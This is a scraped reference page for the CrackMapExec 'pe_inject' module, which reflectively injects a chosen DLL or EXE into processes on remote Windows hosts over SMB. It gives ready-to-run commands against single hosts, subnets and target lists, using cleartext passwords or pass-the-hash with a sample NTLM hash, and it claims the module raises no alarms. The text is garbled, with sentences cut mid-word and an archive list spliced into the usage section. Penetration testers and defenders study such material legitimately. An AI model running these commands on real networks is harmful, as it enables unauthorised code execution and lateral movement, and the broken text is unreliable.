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# CrackMapExec Pe\_inject (smb)

This page contains detailed information about protocol. For list of all CrackMapExec module

# Description

This module downloads the specified DLL/EX ReflectivePEInjection.ps1 script.

The pe\_inject module is OPSEC safe. This me any alarms.

# **Supported Protocols**

- mssql
- smb

# Module Source Code

https://github.com/byt3bl33d3r/Crack

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# **Authors**

• @byt3bl33d3r

# **Module Options**

Here is a complete list of pe\_inject module options:

```
# cme smb -M pe_inject --options

[*] pe_inject module options:

PATH Path to dll/exe to inject

PROCID Process ID to inject into (default: current powershell process)

EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
```

The PATH option is required! Make sure to set it when using this module.

# Module Usage

This is how to use the pe\_inject module while using the smb protocol:

```
Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M pe_inject -o PATH=<path>
Local admin:
```

# ARCHIVES

January 2022 (1)

November 2021 (1)

October 2021 (1)

July 2021 (1)

June 2021 (1)

May 2021 (5)

April 2021 (6)

December 2020 (3)

November 2020 (3)

October 2020 (3)

September 2020 (3)

August 2020 (4)

July 2020 (4)

June 2020 (6)

cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M pe\_inject -o PATH=/path/to/bin.dll # cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M pe\_inject -o PATH=/path/to/bin.dll # cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M pe\_inject -o PATH=/path/to/bin.dll

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M pe\_inject -o PATH=/pat # cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M pe inject -o PATH

The pe\_inject module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target\_list.txt -u Administrator -p P@ss123 -d . -M pe\_inject -o PATH=/path/to/bin.dll
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M pe\_inject -o PATH=/path/to/bin.dll
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M pe\_inject -o PATH=/path/to/bin.dll

# References

- https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/
- https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

## Version

This page has been created based on CrackMapExec version 5.1.7dev.

Visit CrackMapExec Module Library for more modules

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